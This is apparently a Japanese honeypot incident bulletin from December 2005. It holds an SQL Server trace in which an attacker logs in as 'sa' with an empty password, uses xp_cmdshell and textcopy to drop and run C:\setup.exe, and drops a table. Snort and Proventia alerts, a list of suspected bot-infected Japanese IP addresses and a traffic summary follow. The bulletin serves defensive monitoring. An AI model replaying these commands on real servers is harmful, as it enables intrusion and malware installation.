set cursor_close_on_commit off
set ansi_warnings off
set ansi_padding off
set ansi_nulls off
set concat_null_yields_null off
set language 日本語
set dateformat ymd
set datefirst 7

SQL:BatchCompleted 2005-12-20 13:29:40.983 textcopy exec sp_server_info 18
SQL:BatchCompleted 2005-12-20 13:29:41.217 textcopy set textsize 2147483647
SQL:BatchCompleted 2005-12-20 13:29:41.263 textcopy use Master
SQL:BatchCompleted 2005-12-20 13:29:41.263 textcopy select Files from winposdb8 True
Audit Logout 2005-12-20 13:29:40.983 textcopy
SQL:BatchCompleted 2005-12-20 13:29:40.530 Exec Master..xp_cmdshell 'textcopy /S 127.0.0.1 /U "sa" /P "" /D Master /T winposdb8 /C Files /W True /F C:\setup.exe /O'

SQL:BatchCompleted 2005-12-20 13:29:46.653 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:29:46.797 declare @P1 int
set @P1=13
exec sp_prepare @P1 output, NULL, N'DROP TABLE winposdb8
', 1
select @P1
RPC:Completed 2005-12-20 13:29:46.937 exec sp_unprepare 13
SQL:BatchCompleted 2005-12-20 13:29:47.077 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:29:47.827 DROP TABLE winposdb8

SQL:BatchCompleted 2005-12-20 13:29:55.687 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:29:55.827 declare @P1 int
set @P1=14
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''DIR C:\ ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:29:55.967 SET FMTONLY ON exec sp_execute 14 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:29:56.107 exec sp_unprepare 14
SQL:BatchCompleted 2005-12-20 13:29:56.233 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:29:56.373 exec master..xp_cmdshell 'DIR C:\ '

SQL:BatchCompleted 2005-12-20 13:30:02.140 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:30:02.937 declare @P1 int
set @P1=15
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''C:\setup.exe ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:30:03.077 SET FMTONLY ON exec sp_execute 15 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:30:03.217 exec sp_unprepare 15
SQL:BatchCompleted 2005-12-20 13:30:03.357 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:30:03.497 exec master..xp_cmdshell 'C:\setup.exe '
Audit Logout 2005-12-20 13:27:48.293



■IDSによる検知ログ(snort)

[**] [1:686:9] MS-SQL xp_reg* - registry access [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:23.044610 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:3728 IpLen:20 DgmLen:296 DF
***AP*** Seq: 0x9797D62E Ack: 0xCA3D7C85 Win: 0xFE74 TcpLen: 20
[Xref => http://cgi.nessus.org/plugins/dump.php3?id=10642][Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2002-0642][Xref => http://www.securityfocus.com/bid/5205 ]

[**] [1:686:9] MS-SQL xp_reg* - registry access [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:25.331394 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4149 IpLen:20 DgmLen:240 DF
***AP*** Seq: 0x9797D7E1 Ack: 0xCA3D7D0C Win: 0xFDED TcpLen: 20
[Xref => http://cgi.nessus.org/plugins/dump.php3?id=10642][Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2002-0642][Xref => http://www.securityfocus.com/bid/5205 ]

[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:26.368317 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4304 IpLen:20 DgmLen:252 DF
***AP*** Seq: 0x9797D8DB Ack: 0xCA3D7DD4 Win: 0xFD25 TcpLen: 20

[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:26.932719 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4382 IpLen:20 DgmLen:196 DF
***AP*** Seq: 0x9797DA62 Ack: 0xCA3D7E5B Win: 0xFC9E TcpLen: 20

[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:27.274481 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4413 IpLen:20 DgmLen:240 DF
***AP*** Seq: 0x9797DB30 Ack: 0xCA3D7EAA Win: 0xFC4F TcpLen: 20

[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:27.840806 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4567 IpLen:20 DgmLen:184 DF
***AP*** Seq: 0x9797DCAB Ack: 0xCA3D7F31 Win: 0xFBC8 TcpLen: 20

[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:28.196236 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4622 IpLen:20 DgmLen:340 DF
***AP*** Seq: 0x9797DD6D Ack: 0xCA3D7F80 Win: 0xFB79 TcpLen: 20

[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:28.756713 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4678 IpLen:20 DgmLen:284 DF
***AP*** Seq: 0x9797DF4C Ack: 0xCA3D8007 Win: 0xFAF2 TcpLen: 20

[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:29.594502 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4767 IpLen:20 DgmLen:322 DF
***AP*** Seq: 0x9797E072 Ack: 0xCA3D8056 Win: 0xFAA3 TcpLen: 20

[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:30.160813 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4836 IpLen:20 DgmLen:266 DF
***AP*** Seq: 0x9797E23F Ack: 0xCA3D80DD Win: 0xFFA7 TcpLen: 20

[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:30.500596 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4906 IpLen:20 DgmLen:220 DF
***AP*** Seq: 0x9797E353 Ack: 0xCA3D812C Win: 0xFF58 TcpLen: 20

[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:31.102089 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:5045 IpLen:20 DgmLen:164 DF
***AP*** Seq: 0x9797E4BA Ack: 0xCA3D81B3 Win: 0xFED1 TcpLen: 20

[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:33.615415 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:5504 IpLen:20 DgmLen:228 DF
***AP*** Seq: 0x9797E568 Ack: 0xCA3D83BF Win: 0xFCC5 TcpLen: 20

[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:36.007714 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:5894 IpLen:20 DgmLen:172 DF
***AP*** Seq: 0x9797E6D7 Ack: 0xCA3D8446 Win: 0xFC3E TcpLen: 20

[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:41.282376 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:6817 IpLen:20 DgmLen:178 DF
***AP*** Seq: 0x9797E78D Ack: 0xCA3D8495 Win: 0xFBEF TcpLen: 20

[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:41.840896 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:6937 IpLen:20 DgmLen:122 DF
***AP*** Seq: 0x9797E8CA Ack: 0xCA3D851C Win: 0xFB68 TcpLen: 20



■IDSによる検知(Prventia)

High 2005-12-20 13:22:04 JST SQL_Empty_Password ***.125.195.119 1161 192.168.221.180 1433 LOEVOIP
Low 2005-12-20 13:22:04 JST SQL_Login ***.125.195.119 1161 192.168.221.180 1433 LOEVOIP
Low 2005-12-20 13:23:58 JST SQL_Login ***.125.195.119 2853 192.168.221.180 1433 LOEVOIP
High 2005-12-20 13:23:58 JST SQL_Empty_Password ***.125.195.119 2853 192.168.221.180 1433 LOEVOIP
Low 2005-12-20 13:28:02 JST SQL_Login ***.91.255.139 1455 192.168.221.180 1433 GAME-RRVF1J2T9Q
High 2005-12-20 13:28:02 JST SQL_Empty_Password ***.91.255.139 1455 192.168.221.180 1433 GAME-RRVF1J2T9Q

【サイバー犯罪事件簿】2005年12月21日

----------------------------
■あまてらす
----------------------------
おほようございます。あまてらすです。今日1日仕事して、3連休う～～～ん嬉しい。
今年もなんだかんだで終わってしまうですね。セキュリティの方ではBotワームが
本当に増えました。また、それ以外にも攻撃手法が増えて、なにがなんだかわからないです。
とほほほほ・・・・
----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------
自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。


60.43.33.153 i60-43-33-153.s30.a048.ap.plala.or.jp
61.113.203.105 p1105-dng25tutuji.miyagi.ocn.ne.jp
61.116.142.48 SKNfa-03p3-48.ppp11.odn.ad.jp
61.116.160.155 AKAfa-01p8-155.ppp11.odn.ad.jp
61.117.15.117 M015117.ppp.dion.ne.jp
61.120.171.136 p78ab88.aomrnt01.ap.so-net.ne.jp
61.120.175.39 p78af27.ibrknt01.ap.so-net.ne.jp
61.121.60.57 ntiwte035057.iwte.nt.ftth.ppp.infoweb.ne.jp
61.123.82.141 SODfa-01p3-141.ppp11.odn.ad.jp
61.123.89.157 AOBfb-02p1-157.ppp11.odn.ad.jp
61.124.202.239 ntfkok015239.fkok.nt.adsl.ppp.infoweb.ne.jp
61.125.18.232 m61-125-18-232.megafit.me-h.ne.jp
61.125.35.9 z9.61-125-35.ppp.wakwak.ne.jp
61.125.65.2 zaq3d7d4102.zaq.ne.jp
61.125.65.19 zaq3d7d4113.zaq.ne.jp
61.125.67.122 zaq3d7d437a.zaq.ne.jp
61.125.67.233 zaq3d7d43e9.zaq.ne.jp
61.125.68.66 zaq3d7d4442.zaq.ne.jp
61.125.76.51 zaq3d7d4c33.zaq.ne.jp
61.125.76.205 zaq3d7d4ccd.zaq.ne.jp
61.125.78.68 zaq3d7d4e44.zaq.ne.jp
61.125.81.40 zaq3d7d5128.zaq.ne.jp
61.125.82.44 zaq3d7d522c.zaq.ne.jp
61.125.85.143 zaq3d7d558f.zaq.ne.jp
61.125.90.16 zaq3d7d5a10.zaq.ne.jp
61.125.90.87 zaq3d7d5a57.zaq.ne.jp
61.125.90.156 zaq3d7d5a9c.zaq.ne.jp
61.125.91.130 zaq3d7d5b82.zaq.ne.jp
61.125.92.216 zaq3d7d5cd8.zaq.ne.jp
61.125.95.209 zaq3d7d5fd1.zaq.ne.jp
61.125.97.27 zaq3d7d611b.zaq.ne.jp
61.125.98.7 zaq3d7d6207.zaq.ne.jp
61.125.101.63 zaq3d7d653f.zaq.ne.jp
61.125.103.83 zaq3d7d6753.zaq.ne.jp
61.125.103.118 zaq3d7d6776.zaq.ne.jp
61.125.105.31 zaq3d7d691f.zaq.ne.jp
61.125.105.122 zaq3d7d697a.zaq.ne.jp
61.125.107.102 zaq3d7d6b66.zaq.ne.jp
61.125.110.222 zaq3d7d6ede.zaq.ne.jp
61.125.110.240 zaq3d7d6ef0.zaq.ne.jp
61.125.111.192 zaq3d7d6fc0.zaq.ne.jp
61.125.124.98 zaq3d7d7c62.zaq.ne.jp
61.125.125.195 zaq3d7d7dc3.zaq.ne.jp
61.125.152.11 pc4b011.ztv.ne.jp
61.125.152.166 pc4b166.ztv.ne.jp
61.125.192.177 i192177.ppp.asahi-net.or.jp
61.125.194.30 i194030.ppp.asahi-net.or.jp
61.125.195.119 i195119.ppp.asahi-net.or.jp
61.125.197.146 i197146.ppp.asahi-net.or.jp
61.125.197.202 i197202.ppp.asahi-net.or.jp
61.125.201.112 i201112.ppp.asahi-net.or.jp
61.125.202.157 i202157.ppp.asahi-net.or.jp
61.125.204.250 i204250.ppp.asahi-net.or.jp
61.125.212.20 i212020.ppp.asahi-net.or.jp
61.125.212.25 i212025.ppp.asahi-net.or.jp
61.125.213.218 i213218.ppp.asahi-net.or.jp
61.125.213.251 i213251.ppp.asahi-net.or.jp
61.125.224.56 i224056.ppp.asahi-net.or.jp
61.125.224.185 i224185.ppp.asahi-net.or.jp
61.125.225.104 i225104.ppp.asahi-net.or.jp
61.125.226.117 i226117.ppp.asahi-net.or.jp
61.125.230.49 i230049.ppp.asahi-net.or.jp
61.125.230.133 i230133.ppp.asahi-net.or.jp
61.125.238.62 i238062.ppp.asahi-net.or.jp
61.125.251.93 i251093.ppp.asahi-net.or.jp
61.125.251.185 i251185.ppp.asahi-net.or.jp
61.195.14.7 PPPa7.hiroshima-ip.dti.ne.jp
61.197.59.140 pl396.nas921.nagasaki.nttpc.ne.jp
125.30.12.70 70.12.30.125.dy.iij4u.or.jp
202.226.234.67 ppp1591.hakata02.bbiq.jp
210.153.231.83 pl083.nas922.yamaguchi.nttpc.ne.jp
211.10.222.203
221.113.18.101 p018101.ppp.asahi-net.or.jp
221.113.31.71 p031071.ppp.asahi-net.or.jp



- traffic_summary.py 0.17(2005-07-20)

Report Settings:
- Honeynet: 192.168.37.0/24
- Starting Date: 20051221 (inclusive)
- Ending Date: 20051222 (exclusive)
- Number of days: 1
- Output file: /tmp/.sum.lpo10889


Total pcap records processed: 32,765
Total snort records processed: 12,008

========================================
Summary
=======

Remote IP Count: 4,993
Ports Scanned: 868

Connection Packets Packets Bytes Bytes
Type Count In Out In Out
-------- --------- --------- --------- --------- ---------
Inbound 9888 86897 71968 5106050 3312818
Outbound 4500 11727 11727 872047 872047

Total Snort SIDs: 24
Total Snort Alerts: 12008

========================================
Top 10 Snort Alerts
===================

Count SID Alert Description
----- ------ ---------------------------------
4743 46 (snort_decoder) WARNING: TCP Data Offset is less than 5!
4176 2 (spp_stream4) possible EVASIVE RST detection
1835 2404 NETBIOS SMB-DS Session Setup AndX request unicode username overflo
w attempt
407 1390 SHELLCODE x86 inc ebx NOOP
311 402 ICMP Destination Unreachable Port Unreachable
203 399 ICMP Destination Unreachable Host Unreachable
199 2924 NETBIOS SMB-DS repeated logon failure
45 2466 NETBIOS SMB-DS IPC$ unicode share access
31 2403 NETBIOS SMB Session Setup AndX request unicode username overflow a
ttempt
14 2472 NETBIOS SMB-DS C$ unicode share access
11 528 BAD-TRAFFIC loopback traffic

========================================
All Snort Alerts
================

Count SID Alert Description
----- ------ ---------------------------------
4176 2 (spp_stream4) possible EVASIVE RST detection
1 15 (http_inspect) OVERSIZE REQUEST-URI DIRECTORY
2 16 (spp_stream4) TCP CHECKSUM CHANGED ON RETRANSMISSION (possible fra
groute) detection
4743 46 (snort_decoder) WARNING: TCP Data Offset is less than 5!
203 399 ICMP Destination Unreachable Host Unreachable
311 402 ICMP Destination Unreachable Port Unreachable
4 485 ICMP Destination Unreachable Communication Administratively Prohib
ited
11 528 BAD-TRAFFIC loopback traffic
1 538 NETBIOS SMB IPC$ unicode share access
1 648 SHELLCODE x86 NOOP
1 895 WEB-CGI redirect access
2 1042 WEB-IIS view source via translate header
2 1070 WEB-MISC WebDAV search access
407 1390 SHELLCODE x86 inc ebx NOOP
2 1852 WEB-MISC robots.txt access
6 2049 MS-SQL ping attempt
1 2091 WEB-IIS WEBDAV nessus safe scan attempt
5 2251 NETBIOS DCERPC Remote Activation bind attempt
31 2403 NETBIOS SMB Session Setup AndX request unicode username overflow a
ttempt
1835 2404 NETBIOS SMB-DS Session Setup AndX request unicode username overflo
w attempt
45 2466 NETBIOS SMB-DS IPC$ unicode share access
14 2472 NETBIOS SMB-DS C$ unicode share access
199 2924 NETBIOS SMB-DS repeated logon failure
5 3276 NETBIOS DCERPC IActivation little endian bind attempt

========================================
Top 10 Remote IPs:
==================

Remote IP Packets Bytes Conns
--------------- --------- --------- ---------
218.91.255.139 22645 853402 6570
61.125.195.119 91780 2778355 3397
220.166.175.165 16099 12413 3031
193.126.38.227 13654 833953 1388
211.10.222.203 13198 856181 1307
212.246.91.233 5965 374601 589
202.224.32.1 885 47037 440
4.248.216.126 6673 479786 365
61.125.67.233 3158 107871 275
60.216.22.126 2756 81900 239

========================================
Top 10 Scanned Ports:
=====================

Port Packets Bytes Conns
--------- --------- --------- ---------
tcp/1433 98088 2966680 3961
tcp/139 16023 932750 2382
tcp/445 38013 3869597 1995
udp/1026 169 77466 153
tcp/135 1180 33166 138
udp/1027 134 60585 122
tcp/1025 1258 146720 105
tcp/1234 2420 197168 65
tcp/80 389 125190 33
udp/137 46 8073 24

========================================